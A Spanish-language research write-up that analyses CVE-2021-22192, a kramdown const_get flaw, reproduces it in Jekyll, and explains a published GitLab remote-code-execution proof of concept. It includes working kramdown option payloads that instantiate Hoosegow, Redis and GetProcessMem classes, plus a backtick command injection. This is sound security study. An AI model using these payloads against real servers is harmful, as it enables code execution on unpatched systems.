
CVE-2021-22192
Al comenzar a analizar esta vulnerabilidad, solo disponía de información valiosa de lyy289065406 que me ayudó a comprender el problema central de este bug. Parece que el error está en la gema kramdown (<= 2.3.0), así que comencé investigando kramdown primero.
Podemos revisar el patch de kramdown y vemos la diferencia en la función formatter_class dentro del módulo Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) se convirtió en ::Rouge::Formatters.const_get(formatter, false)
La función const_get se hereda de la clase Object y puede obtener las constantes. Incluso puede devolver clases previamente declaradas que encuentre. La única diferencia aquí es el parámetro adicional false. Al añadir false, const_get no puede obtener constantes de las clases padre ni de los módulos.
Lo que es aún más especial: en la función self.call se invoca a formatter_class y luego a new(opts). Eso significa que al método obtenido mediante const_get se le llama al constructor para inicializarlo.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Basándonos en Kramdown:Options podemos invocar la función Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Además, en el módulo Kramdown:Options la función simple_hash_validator llama a YAML.safe_load(val). De este modo, también podemos configurar un archivo YML para pasar el payload deseado a Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Primero necesito montar Jekyll:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock para dejar kramdown en <= 2.3.0cd jekyllTest
Archivo Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Así que ya hemos creado una página de Jekyll. Ahora podemos introducir el payload para ver si Kramdown::Converter::SyntaxHighlighter::Rouge.call realmente puede invocar un método.
Podemos añadir al archivo ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
O usar el documento de kramdown añadiendo el payload a ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Aquí usé el segundo método =)))))
bundle exec jekyll serve
puede que encuentres el error "require': cannot load such file -- webrick (LoadError)"; necesitas añadir gem "webrick" al Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:; esto demuestra que se invocó a la clase CSV.Según un artículo de análisis de CVE-2020-10518 que utiliza el bug de kramdown para provocar RCE en GitHub, apunté a la clase Hoosegow:
initialize de Hoosegow llama a load_inmate_methodsdef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods vemos que llama a require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
inmate_file se crea concatenando @inmate_dir con 'inmate.rb'. Si podemos invocar esta clase y cambiar el parámetro inmate_dir a la ruta de nuestro archivo payload, entonces ¿no estaríamos ante un RCE?
Ejecuté un script en la ruta de la página de Jekyll para comprobar los métodos definidos:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" al Gemfile y el script encontró esta clase. [jejeje]Hoosegow con kramdown a ver qué pasaba{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Estuve atascado aquí... 1 semana. Sí, perdí una semana por ello. Le daba vueltas a la pregunta: "¿Por qué, si en bundler ya está la clase Hoosegow, al invocarla desde Kramdown no funciona? Se supone que debería, ¿no?"
Pensé: "Si ya está declarada en el Gemfile, entonces la clase ya está en el classpath. Así que si el programa sigue sin encontrar 'Hoosegow', seguramente aún no se ha cargado...". Entonces, ¿hay alguna forma de declarar la gema para que Jekyll la cargue al arrancar antes de procesar el resto del directorio fuente?
Leí la documentación de Jekyll y encontré jekyll_plugins. Declararla en el Gemfile no era suficiente; hay que declarar la gema en el grupo jekyll_plugins para que funcione :( porque al declararla en jekyll_plugins, la gema se carga de forma forzosa antes de que Jekyll procese otras fuentes. Incluso al ejecutar Jekyll en modo seguro.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb en C:/ y ejecuté el payload:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb fue invocado. Parece que ya casi hemos conseguido replicar el PoC, ¿verdad?
inmate.rb al servidor de GitLab y saber dónde está el archivo inmate.rb que acabo de subir?inmate.rb a nuestro propio proyecto y modificar el archivo .gitlab-ci.ymlbefore_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml. Intenté explicarlo de varias maneras: "¿Quizás hay un mecanismo que escanea el archivo .yml antes de que se cargue?",... pero ninguna me convencía...
Busqué otro vector de entrada: la wiki. La wiki permite usar el formato kramdown, así que sospeché y probé allí, pero no hubo resultado porque solo puse el payload en el archivo predeterminado '*.md', y el archivo '*.md' tiene limitadas las funciones necesarias, así que descarté esta vía :(
En ese punto tuve que detenerme y esperar a que se publicara el PoC para dedicar tiempo a otras investigaciones.
Un buen día se publicó el PoC. Al terminar de leerlo, se me puso la piel de gallina, no hay más que decir =)).
El problema central estaba en kramdown, así que íbamos bien encaminados, pero el camino para llegar a él en GitLab parecía un poco chapucero =)
El autor descubrió que al subir una página wiki con un archivo '*.rmd', el programa llama a render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Así, el archivo '*.rmd' se renderiza con kramdown.
El autor subió su archivo '.rmd' clonando la página wiki en local y luego usando git para hacer push de la página wiki (con el archivo '.rmd') a GitLab.
El autor utilizó la clase Redis (ya declarada en el proyecto de GitLab, por lo que podemos invocar y usar esta clase) para ejecutar su payload.
Al inicializar la clase Redis, si existe la opción driver, el programa llama a la función _parse_driver. Aquí, el programa ejecuta require "connection/#{driver}"; podemos manipular la variable driver para que el programa cargue el archivo payload que hemos subido al servidor.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet, un atacante puede subir un payload ruby usando Attach a file.Usando la vía de Kramdown para invocar a la clase Redis, primero el autor importa la gema get_process_mem con el payload
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
Luego usa la gema get_process_mem importada antes para lograr el RCE
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
Así, sin necesidad de encontrar la dirección del archivo payload, el atacante aún puede lograr RCE en el servidor de GitLab.
Referencias: